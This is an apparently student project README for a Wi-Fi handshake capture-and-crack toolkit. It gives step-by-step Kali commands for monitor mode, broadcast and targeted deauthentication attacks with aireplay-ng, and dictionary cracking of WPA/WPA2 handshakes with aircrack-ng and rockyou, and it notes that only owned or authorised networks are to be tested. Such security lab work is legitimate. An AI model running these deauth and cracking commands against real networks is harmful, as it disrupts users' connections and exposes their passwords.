**Wi-Fi Handshake Capture & Crack – Full Process**

Files:  
main.py: Serves as the entry point, orchestrating the scanning, attack, and cracking processes.

scanner.py: Handles scanning and listing of nearby Wi-Fi networks.

handshake\_capture.py: Manages the capture of WPA/WPA2 handshakes.

deauth\_attack.py: Conducts deauthentication attacks to force clients to reconnect.

cracker.py: Performs dictionary attacks on captured handshakes.

rogue\_detector.py: Detects suspicious or fake access points.

network\_utils.py and packet\_utils.py: Provide utility functions for network and packet operations.

**STEP 1: Get Your USB Wi-Fi Adapter Working**

Plug in adapter and ensure VirtualBox/VMware passes USB to Kali VM.

Install required tools:

* sudo apt update
* sudo apt install dkms build-essential git

Install RTL8812AU driver (Netgear):

* git clone https://github.com/aircrack-ng/rtl8812au.git
* cd rtl8812au

sudo make dkms\_install

**STEP 2: Switch Adapter to Monitor Mode**

Kill interfering processes: sudo airmon-ng check kill

Enable monitor mode: sudo airmon-ng start wlan0

You now have wlan0mon.

**STEP 3: Scan for Wi-Fi Networks**

Use airodump-ng: sudo airodump-ng wlan0mon

For: Target BSSID (router MAC), Channel, Connected client MACs

**STEP 4: Lock onto Target Network**

Target: sudo airodump-ng --bssid 98:fc:11:41:b9:a7 --channel 11 --write handshake wlan0mon

Let this run in one terminal.

**STEP 5: Force Reconnection with Deauth Attack**

In a second terminal:

sudo iwconfig wlan0mon channel 11

* Broadcast deauth (everyone): sudo aireplay-ng --deauth 10 -a <BSSID> wlan0mon
* Targeted deauth (recommended): sudo aireplay-ng --deauth 10 -a <BSSID> -c <Station ID> wlan0mon

Keep an eye on the top-right of airodump-ng until you see something like WPA handshake: <Station ID>.

**STEP 6: Verify the Handshake File**

Look for capture file: ls | grep handshake.

Expect something like “handshake-01.cap”

**STEP 7: Prepare the Wordlist**

Decompress Kali’s default wordlist if needed: gzip -d /usr/share/wordlists/rockyou.txt.gz, or simply goes to step 8.

**STEP 8: Crack the Handshake**

aircrack-ng handshake-01.cap -w /usr/share/wordlists/rockyou.txt

Aircrack-ng will test each password in the list. If the password is in there, you’ll get something like: “KEY FOUND! [ password ]”

**IMPORTANT NOTE:**

This method only works on **WPA/WPA2-PSK**, not **WPA3.**

Only attack networks you **own** or have **explicit permission** to test.

Add GPU-accelerated tools like **hashcat** for faster cracking later if needed (since actual password cracking took 8-9 hours).

**Save Handshake Files (optional)**

To verify or inspect later:

airodump-ng --bssid <BSSID> -c <channel> -w capture wlan0mon

Then crack with:

aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

**CONTRIBUTION:**

Anh Phan – work with main script, handshake capture and deauthorization files. Also, layout the software requirements and oversee.

Dawn Marshall – work with cracking handshake file using default wordlist and setting up fake hotspot to test capture. Also, reviewing file changes, adding description and updating README.

Jared Robinson – work with setting up testing environment (installing supplement requirements, Linux header and enable Monitor Mode to test for Wi-Fi adapter on Kali Linux).